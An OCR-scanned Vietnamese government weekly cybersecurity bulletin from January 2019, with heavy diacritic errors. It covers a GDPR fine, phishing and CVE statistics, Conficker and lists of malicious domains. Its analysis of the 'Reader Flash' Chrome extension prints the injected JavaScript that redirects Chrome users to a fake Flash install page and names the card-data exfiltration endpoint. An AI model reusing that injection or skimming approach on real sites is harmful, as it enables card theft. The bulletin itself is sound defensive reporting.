BO THONG TIN VA TRUYEN THONG ~ CONG HOA XA HQI CHU NGHIA VIET NAM
CUC AN TOAN THONG TIN DPéc 1ap - Tw do - Hanh phic

S6:  /BC-CATTT Ha Noi, ngay 22 thang 01 nam 2019

TOM TAT ‘
Tinh hinh an toan thong tin dang chu y trong tuan 03/2019
(tir ngay 14/01/2019 den ngay 20/01/2019)

BANG TONG HQP

1. Co quan ¢6 nhi€m vy, chtrc nang gidm sat bao v¢ dit liéu cua Phap 1a Uy

ban Qudc gia vé tin hoc va ty do (CNIL - Commission nationale de
l'informatique et des libertés) da cong bd khoan tién phat tri gid 50 triéu
Euro ddi voi Google theo Quy dinh bao vé dit liéu chung (GDPR) cta Lién
minh chau Au.

2. Bdo cdo rui ro toan cau cta Dién dan kinh té thé gidi (WEFs) nim 2019
dat cac cude tin cong mang quy mé 16n va cac vi pham dir liéu vao danh

sach rui ro toan cau, bén canh thién tai va bi€n doi khi hau.

3. Ngay 15/01/2019, ElevenPath phan tich mot extension cia Chrome cé
hanh vi vi pham dir li¢u tor web form ma nguoi dung nhip vao. Extension
van dang dugc luu trit trén Chrome Web Store-chg extension cua Chrome va
hoat dong tir thang 02/2018. Extension da c6 gan 400 luot cai dat.

4. Bao cio duoc xdy dung dya trén cac ngudn thong tin thu thap duoc tir hé
théng phan tich va chia sé nguy co tdn coéng mang Viét Nam
(https://ti.khonggianmang.vn). Thong tin chi tiét vé Hé thong tai Phu luc

kém theo.

1. Piém tin dang chi y

1.1. Co quan c0 chirc nang, nhiém vu giam sat bao v¢ dir liéu ctia Phap la
Uy ban Qubc gia vé tin hoc va ty do (CNIL - Commission nationale de
I'informatique et des libertés) da cong bd khoan tién phat tri gia 50 triéu Euro
d6i voi Google theo Quy dinh bao vé dit liéu chung (GDPR) cta Lién minh chau
Au (GDPR c6 hiéu luc vao thang 5 nim ngoai).

CNIL cho biét, khoan phat ndy danh vao Google vi "thiéu minh bach
thong tin va thiéu su tuan thi lién quan dén ca nhan héa quang cao". Khoan tién
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phat da duoc ap dung sau cudc diéu tra m&i nhét cia CNIL vé viée Google bi
khiéu nai vao thang 5/2018 boi hai t6 chuc phi loi nhuan 1a None Of Your
Business (NOYB) va La Quadrature du Net (LQDN).

Theo CNIL, Google di vi pham hai quy tic lién quan t&i tinh minh bach
va tuan thi GDPR. Pau tién, Google khién nguoi dung gip nhiéu khé khin dé
tim duoc thong tin can thiét lién quan tdi1 viéc st dung dir li¢u cd nhan ctia minh,
nhu: muc dich xtr Iy dit li¢u, thoi gian luu trit dir liéu, danh muc dit liéu ca nhan
duogc str dung dé ca nhan hoa quang cdo (ngudi dung phai Xem rat nhiéu thdng
tin trén mot sd tai lidu voi cae nit bam va lién két véi tdi da 06 hanh dong riéng
biét thi méi c6 duogc thong tin. Va ngay ca khi ngudi ding tim thay thong tin ho
dang tim kiém, CNIL cho rang thong tin d6 nhiéu luc dugc cung cip khong rd
rang va khdng day du). Thi hai, Google khong c6 duoc su dong ¥ hop 1é cua
nguoi dung dé xir 1y dit liéu cho muc dich c4 nhin héa quang céo. Theo CNIL,
tuy chon ca nhan hda quang céo la "mac dinh" khi tao tai khoan véi1 Google,
khién nguoi ding khong thé thuc hién quyén tir chdi xur 1y dir liéu dé ca nhan
hoa quang cao, diéu nay 1a bat hop phap theo GDPR.

1.2. B&0 c40 rui ro toan cau cua Dién dan kinh té thé gioi (WEF) nim
2019 dit cac cudc tin cong mang quy md 1on va cac vi pham dir liéu vao danh
sach rii ro toan cau, bén canh thién tai va bién doi khi hau. Trong B&o céo rui ro
toan cau cia WEF 2019, vi pham dir li¢u va tAn cong mang bi xép hang lan luot
1a thr 04 va 05 trong bang xép hang ri ro toan cau (01 1a Su kién thoi tiét khac
nghiét; 02 1 that bai ctia cong tac giam thiéu va thich Gng voi bién ddi khi hau;
03 la cac tham hoa thién nhién).
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Béo cao luu ¥ nguy co xdy ra cac cudc tan cong mang VA0 co so ha ting
quan trong, ciing nhu mdi lo ngai gia ting vé vi pham dit liéu va quyén riéng tu.
B0 c4o rui ro toan cau canh bao cac 16 hong tiém ning cua co sd ha ting cong
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nghé quan trong 1a mdi lo ngai vé an toan, an ninh qudc gia. Mot trong nhitng 1y
do chinh tai sa0 tan cong mang vao co sé ha ting quan trong duoc WEF xem 13
mot trong nhitng rui ro hang dau 1a do su gia ting cua sb hoa va sy phat trién
ctia Internet van vat (10T - Internet of Things) trong nhiing nim gan day. IoT
gitp cho kha ning két ndi trén toan thé gidi ting 1én nhung ciing 1am ting tiém
nang cho cac ddi tuong thuc hién cac chién dich tan cong mang, dac biét trong
bdi canh ngay cang nhiéu san pham IoT khong bao dam an toan thong tin.

1.3. Ngay 15/01/2019, ElevenPath phan tich mot extension cia Chrome
c6 hanh vi vi pham dit liéu tir web form ma nguoi dung nhap vao. Extension van
dang dugc luu trit trén Chrome Web Store-chg extension cua Chrome va hoat
dong tir thang 02/2018. Extension di co gan 400 luot cai dit.

Reader Flash - Google Chrome
https://chrome.google.com/webstore/detailreader-flash/cnfblchodgjeell... ~ Dich trang nay

27 thg 2, 2018 - App Reader Management. ... Chrome Web Store. Reader Flash ... 393 users.
Overview. App Reader Management. Details. Version: 0.0.1.

Nguoi ding duoc chuyén hudng dén extension nay théng qua céc doan
script doc hai chén vao trang web bi tin cong.

- goagle.con

@ Reader Flash m

descripcion genera Informacion adicional

Extension c6 tén Reader Flash, do fbsgang.info phat trién. Khi ngudi
dung cai dat extension nady, nhitng thong tin nguo1 dung nhap vao trang web sé
bi theo ddi va thu thap dé giri vé may chu diéu khién.
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B backgroundjs *
1

O hinh trén ddi twong tin cong di st dung biéu thirc chinh quy dé liy
thong tin thé Visa (vvregex), MasterCard (mcregex). Sau khi lay duoc, dir liéu
dugc mi hoa theo dinh dang JSON guri cho mdy chu diéu khién & duong din da
dugc ma hoa bang Base64 (http://fhsgang.info/cc/gate.php)

dstring "aHRBC

, "application/x-www-form-urlencoded”);

Thay vi phat tan thong qua thu dién tir rac véi sb luong 16n (nhanh b phat
hién), dbi twong tin cong lai sir dung nhitng doan JavaScript nhiing trong trang
web. Khi nguodi dung truy cap vao nhiing trang web nay, doan JavaScript s€
kiém tra xem c6 phai nguoi dung sir dung trinh duyét Chrome hay khong, néu
dung yéu cau ngudi dung cai dat Flash va chuyén huéng nguoi dung dén
Extension. Du6i day 1a doan ma chén vao trang web.


http://fbsgang.info/cc/gate.php

<script> '
var isChrome = /Chrome/.test(navigator.userAgent) & /Google Inc/.test(navigator.vendor);
var Mobile = (/Android|web0S|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent));
if (isChrome)
{
if(!Mobile) {
//alert("You are using Chrome in PC!");
document . addEventListener("DOMContentLoaded", function(){
setTimeout(function(){
var extSt = document.getElementById| 'b642-0ed5f89f718b');
if(extst.value == 'false') {
J/alert('Extension not installed');
window.location.href = "http://[[0REny. info/flashplayer/";

}
}, 1500);
}, false);

1
}

</script=

Tap tin visitor.txt c6 thé tim thdy mot sb thong tin nhu dia chi IP nguoi
dung di truy cép va cai dat Extension ndy, mot s trang web da bi chén doan
Javascript. Trong tap tin ndy c6 ca dia chi [P cua Viét Nam da truy cap.

<« C @ (@ fbsgang.info
Index of /flashplayer

Name Last modified Size Description

Parent Directory -

ban.txt 2018-03-06 18:44 38
error_log 2019-01-18 01:03 7.3M
flash.png 2018-02-27 10:58 75K
indexbak.php 2018-12-06 05:50 65
jquery.js 2018-03-01 18:25 576
robots.txt 2018-05-08 04:52 25
visitor.txt 2018-11-30 03:431.3M

Thong tin k¥ thuat tham khdo thém tai duong dan:

https://ti.khonggianmang.vn/dashboard/news/p/extension-chrome-an-
trom-thong-tin-the-tin-dung/

2. Tinh hinh tan cong gay nguy hai trén cac trang web tai Viét Nam

Qua theo dbi, trich xuét thong tin tir hé thong k¥ thuat thoi gian qua, Cuc
ATTT nhan thay trén khong gian mang dang ton tai nhiéu trang web Viét Nam
(bao gdom ca nhiing trang web st dung dich vu may chu nudc ngoai) bi tan cong,
loi dung dé thuc hién cac hanh vi gdy mat an toan théng tin nhu: phat tan thu
réc; tan cong tir chbi dich vu; cai dat va phét tan cac loai ma doc (gan day nhat Ia
cai dit va phat tin ma doc dé dao tién 40); luu trit cac mi khai thac diém yéu 15


https://ti.khonggianmang.vn/dashboard/news/p/extension-chrome-an-trom-thong-tin-the-tin-dung/
https://ti.khonggianmang.vn/dashboard/news/p/extension-chrome-an-trom-thong-tin-the-tin-dung/

hong mot cach tu dong (nhu 16 hdng trén trinh duyét hay cac thanh phan mo
rong cua trinh duyét ma nguoi dung st dung .v.v...).

Trong tuan, Cuc ATTT ghi nhan ¢4 it nhat 52 duong dian (URL) trén cac
trang web tai Viét Nam bi tan cong, loi dung dé thuc hién cac hanh vi gay mat
an toan thdng tin. Trong d6, thong k&, phan loai cac duong dan nay theo loai
ing dung may chu web ( IIS, Apache ...) va nha cung cap cu thé nhu sau:

Théng ké s6 luong URL bi tan céng theo tng dung may chu web

LiteSpeed h

Nginx

Microsoft-11S

Théng ké sé lwong URL theo tén mién
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3. Tinh hinh tan cong lira dao (Phishing) trong tuan

3.1. Qua thu thap, theo ddi, trich xudt tir hé thong k¥ thuat, Cuc ATTT
con ghi nhan c6 it nhat 50 trang web dit tai Viét Nam bi loi dung dé thuc hién
tan cong Phishing trong tuan.

Théng ké s luong céac trang web phishing trong tuan

B VNPT M Viettel m FPT m SCTV B CMC ® MOBIFONE m VIETNAMOBILE = AZDIGI i T8 chire khéc

3.2. Trén thé gidi c6 nhiéu cic trang web gia mao cac to chiic, doanh

nghiép, nha cung cap, dich vu 16n nhu: Cac mang xa hoi, ngan hang, thu dién

tor..v.v...
Top 10 nha cung cap, dich vu bi gid mao nhi€u nhat trong tuan
600
518
500 480
400

300

314 309
213 203 194 187
200 149 119
EREEE
0

PayPal Inc.  PayP Bank of Office365 Outlook  Bank of Chase RuneScape Apple Inc. Yahoo! Inc

America Commerce Personal
Banking
M PayPal Inc. H PayP Bank of America B Office365
B Outlook M Bank of Commerce B Chase Personal Banking M RuneScape
H Apple Inc. M Yahoo! Inc

Vi¢t Nam cé nhi€u nguoi dung céc dich vy, tng dung nudc ngoai (ca
mién phi va c¢6 phi) nhu cdc mang xa hoi, Dropbox, Paypal ..v.v... vi vay nguoi



dung can phai hét stuc canh giac véi nhiing trang web gia mao dé an trom tai
khoan.

4. L$ hong/diém yéu an toan thong tin trong tuan

4.1. Trong tuan, cac td chirc qudc té di cong bd va cap nhat it nhat 361 15
hong, trong d6 c¢6 17 16 hdng mirc cao, 152 16 hong murc trung binh, 36 16 hong
murc thap, 156 16 hong chua danh gia, 07 16 hong di c6 ma khai théc.

4.2. Hé thong k¥ thuat cia Cuc An toan thong tin chi dong ra quét trén
khong gian mang Viét Nam, danh gia, théng ké cho thiy c6 04 nhom 156 hong
trén cac san pham, dich vu CNTT pho bién, c6 thé gay anh huong 1on dén ngudi
dung & Viét Nam, nhu: Nhom 137 16 hong trén mot s6 san pham, tmg dung cia
Oracle .v.v...

4.3. Chi tiét vé thong tin mot sd 15 hong trén cac san pham/dich vu phd
bién tai Viét Nam cu thé nhu sau:

STT Sal? pham/ Mai 16i quoc té M6 ti ngin Ghi chu
dich vu
Nhom 29 16 hong trén mot
s6 san pham hé diéu hanh
CVE-2018-4189 fﬁgs)AffEf pﬁ';saézniggfé i co
1 Apple CVE-2018-4258 tan cong thyc hién khai tiléc thong tin
CVE-2018-4182 Xt an . __| x&c nhan
161 tran by dém, thuc thi ma va ban va
1€nh tir xa, thu thap thong tin
nhay cam trén hé théng, tan
cong leo thang.
Nhom 137 16 hong trén mot
s6 san pham, tng dung cua
Oracle (Solaris, VM
VirtualBox, Enterprise D3 c6
CVE-2019-2437 Man_ager Prgducts Suite, E- thong tin
5 Oracle CVE-2019-2511 Business Sylte, MyS,QL ) w4c nhan
CVE-2019-2432 cho phép doi tuong tan cong| ., ., .
. . .. ..|vabanva
...... thuc hién truy cap trai phep
vao hé thdng thong qua két
noi HTTP, SOAP dé thu
thap thong tin quan trong
trén hé théng; thuc thi ma.
3 IBM CVE-2018-1956 Nhom 05 15 hong trén mot Dﬁl c_:é
CVE-2018-1967 so6 san pham, tng dung IBM |théng tin




CVE-2018-1969

cho phép dbi tuong tan cong
thuc hién thu thap thong tin,
danh cdp thdng tin xac thuc
dua trén Cookie, khai thac
16i XSS, dua tap tin trai phép
vao hé théng va thuc thi
doan mé4, tap tin doc hai.

xac nhan
va ban va

Bind

CVE-2017-3137
CVE-2017-3142
CVE-2017-3143

Nhom 11 15 héng trén dich
vu Bind va DHCP cho phép
dbi tuwong tan cong can thiép
vao viéc cap nhat ban ghi
DNS, la cho hé théng phan
giai tén mién khong duogc

chinh xac, hoic gay 16i.

Pa co
thong tin
Xac nhan
va ban va
Mot s6 da
co ma
khai thac

5. Hoat ddng mot s6 mang botnet, APT, mi doc tai Viét Nam
5.1. Mang botnet Conficker
Mang botnet Conficker dugc phat hién tir thang 10/2008. Ma doc nay

duogc thiét ké nham vao hé diéu hanh Microsoft Windows. Khi ma doc nay lay
nhiém vao mot may tinh, thi may tinh nay tham gia vao mang botnet va c6 thé bi

diéu khién dé gui thu rac (spam) va tan cong cac hé thong khac. Nhitng mdy tinh
bi lay nhiém déu khong truy cap dugc cac website lién quan dén phan mém diét
virus hay dich vu cap nhat ciia hé Windows (Windows Update).

Maic du mang botnet Conficker xuét hién tir nam 2008, loi dung 15 héng

cli (MS 08-067), di c6 ban va bao mat, tuy nhién tai Viét Nam, sd luong méy
tinh nam trong mang botnet Conficker van con rat nhiéu trong tudn ma Cuc An

toan thong tin dang theo doi.
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5.2. Danh sach IP/tén mién may chu diéu khién ctiia mang botnet Conficker

TT Tén mién/IP

1 104.244.14.252

5.3. Danh sach IP/tén mién doc hai c6 nhiéu két ndi tir Viét Nam

Tén mién/IP

www.iugerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

_|
_|

www.cityofangelsmagazine.com

dgrzxapnw.info

caarmelcollege.org
osheoufhusheoghuesdl.com
msjbsig.com
6ae79845b2.pw
www.corpnox-technologie.fr

O| O N| O O | W| N

nlcfoundation.org

=
o

ahmedfahmy.name

6. Khuyén nghi déi véi cac co quan, don vi

Nhim bao dam an toan thong tin trong hé thong mang ctia cic co quan, to
chtrc, Cuc An toan thong tin khuyén nghi:

- Nham tranh viéc bi cac ddi tuong tAn cong loi dung cac trang web dé
thuc hién cac hanh vi gay mat an toan thong tin nhu da néu trong muc 2, Cac co
quan to chtrc can phai thuong xuyén kiém tra, ra soat may chu web dé kip thoi
phat hién va cap nhat cac diém yéu, 16 hong trén cac mdy chu web thudc co
quan, t6 chirc minh

- Ngudi ding can phai hét stic canh giac véi nhiing trang web gia mao dé
an trom tai khoan, dac biét 1a cac trang web gia mao cac ung dung, dich vu phé
bién nhu d néu trong muc 3.2 bao céo nay.

- Theo do1 va cap nhat ban va cho céac 16 hé)ng, dic biét1a 16 héng néu tai
muc 4.3 bao cao nay.

- Chu dong kiém tra, ra soét, boc g0 ma ddc ra khoi hé théng mang. Cuc
An toan sin sang phdi hop véi cac co quan t6 chirc tién hanh kiém tra va boc g
ma doc botnet trén hé théng cua co quan don vi. Pé x4c minh cac may tinh bi
nhiém ma doc botnet, Quy don vi co thé lién hé véi Cuc An toan thong tin theo
thong tin bén duéi dé phdi hop thuc hién.
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- Kiém tra va xir Iy cac thiét bi trong toan bo hé théng mang néu c6 diu
hiéu két ndi dén cac tén mién ddc hai Cuc An toan thong tin da chia sé, dac biét
1a cAc tén mién d3 néu trong muc 5.2 V& muc 5.3 béo céo nay.

Thong tin lién hé Cuc An toan thong tin, ting 8, s 115 Tran Duy Hung,
quan Cau Giay, TP. Ha Noi; sd dién thoai: 024.3943.6684; thu dién tir
ais@mic.gov.vn.

Tran trong./.

Noi nhgn: » KT. CUC TRUONG
- BO trudng va cac Thu trudng (de b/c); PHO CUC TRUONG
- Thu ky Lanh dao Bo; )

- Pon vi chuyén trach vé CNTT cac bd, nganh;

- SO TT&TT céc tinh, thanh phd truc thude TW;

- Cuc KSTTHC, Van phong Chinh phu;

- Vu Khoa giao - Van xa, Van phong Chinh phu;

- Trung tdm CNTT, Van phong Trung wong Pang;
- Trung tdm CNTT, Vin phong Quédc Hoi; (email)
- Trung tdm CNTT, Van phong Chu tich nudc;
- Céc Tap doan kinh té; Téng cong ty nha nudc;
Tb chirc tai chinh va Ngan hang;

- Co quan, don vi thugc Bo;

- Lanh dao Cuc;

- Luu: VT, NCSC.

Nguyén Huy Diing
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PHU LUC

Hé thong phan tich va chia sé nguy co tin cong mang Viét Nam

https://ti.khonggianmang.vn

Phishing cases

HE THONG PHAN TiCH
VA CHIA SE NGUY CO
TAN CONG MANG VIET NAM

Vietham Threat Intelligence Portal

GIGI THIEU VE HE THONG

Hé théng phan tich va chia sé nguy co tdn cong mang Viét Nam la hé théng cho phép
thu thap, phan tich va chia sé théng tin truc tiép vé ddu hiéu, nguy co va cudc tan
cong mang dang xay ra trén hé théng ctia cac co quan, don vi. Muc tiéu clia hé théng
nham tang cuong viéc két noi chia sé thong tin gilra cac co quan, don vi, toé chuc.

PIEM NOI BAT CUA HE THONG

Khi truy cap vao hé théng, cac co quan, don vj sé dugc chia sé cac thong tin theo thai gian
thyrc vé: cac dau hiéu, hinh thirc tdn cong mang trén hé théng thong tin cia minh dugc

Cuc An toan théng tin téng hgp, phan tich va xtr ly tir nhiu t6 chirc trén thé gidi.

@ Capnhatlién tuc nguy co tan cdng mang:

khiér XC, IP, Hash @dc hai (APT, Botnet, Phish

au o Viet -]

@ Giam sat va canh bao sém tan cong mang: Giam

THONG TIN LIEN HE

Email: ais@mic.govvn | Website: Khonggianmang.vn
Phone: +84 24 3209 6789 | Fax: +84 24 3209 6789
Address: Tang 8 - 115 Tran Duy Hung - Cau Gidy - Ha NGi
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THONG TIN CAP NHAT

Hé théng lién tuc cap nhat va chia
sé cac thdng tin vé nguy co tan cdng
mang déi véi Viét Nam.

</

DU LIEU PA DANG

Dir liéu dugc téng hop tir cac té chirc
Qudc té, Viét Nam, tir cac sensor,
honeypot,...

<

CANH BAO TUC THi

Hé théng canh bao sdm cac tan cong
va canh béo cac két néi bat thudng
tir hé théng mang té chuc.
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CAC NOI DUNG CUA

DICH VU

HOAT PONG CUA CHUNG TOI

Al

Giam sat ATTT

Canh bao sém ATTT

HOo tro cac to chirc canh bao sém Thure hién cung cap dich vu giam

cac nguy co tan cong mang. sat ATTT tir xa va tong the.

ORGANIZATION

Danh cho T6 chuc

GOVERMENT

Danh cho cd quan Chinh phu

Panh gia ATTT

Ung dung, Ha tang, Kién truc...

Xt ly tdn céng mang

Cung cap dich vu danh gid ATTT tr  H6 trg xr ly tdn cédng mang cuc bo

va trén dién rong cho cac to chirc.

ENTERPRISE

Danh cho Doanh nghiép

e Danh sach may chu diéu khién
doc hai.

e Danh sach IP doc hai.

e Danh sach ma hash doc hai.

¢ Danh sach website |lra dao.

e Thong tin ATTT cap nhat.

e Bio cdo téng hop hang tuan.

o Day du théng tin cua tai khoan
Organization.

e Cap nhat diém yéu, 16 hdng nguy
hiém va phé bién dai vai Viét Nam.
e Giam sat tinh trang Up/Down
ctia hé théng.

o Giam sat va canh bao vé ma
doc/ backlink trén Website.

e Canh bao cac tan cong mang vao
hé théng cong khai ctia té chirc.

e Canh bao cac két ndi bat
thudng, dang ngd tir hé théng clia
té chirc.

e Canh bao turc thi qua Email.

e Hb tro ky thuat qua Email

LIEN HE DANG KY SU DUNG:

e Pay du théng tin cla tai khoan
Goverment.

e Danh sach domain ddc hai C&C
dugc str dung tan céng APT vao
Viét Nam.

e Danh sach IP, Hash st dung tan
cong c6 chu dich APT vao Viét
Nam.

e Cap nhat cac thong tin co lién
quan dén toé chirc, website gid mao
t6 chirc...néu co.

e Cap nhat cac tin tirc, phan tich
ky thuat méi nhat vé tan cong cé
cht dich APT.

¢ Danh gia cac diém yéu, 16 hong
bao mat dinh ky déi vdi cac hé
théng cong khai (IP va Domain)
clia to churc.

e Canh bao tirc thi qua SMS.

o Hb tro ky thuat qua Email.

o Hb tro ky thuat Hotline.

Email: ais@mic.gov.vn | Website: Khonggianmang.vn | Phone: +84 2
Address: 115 - Tran Duy Hung - Cau Giay - Ha Noi
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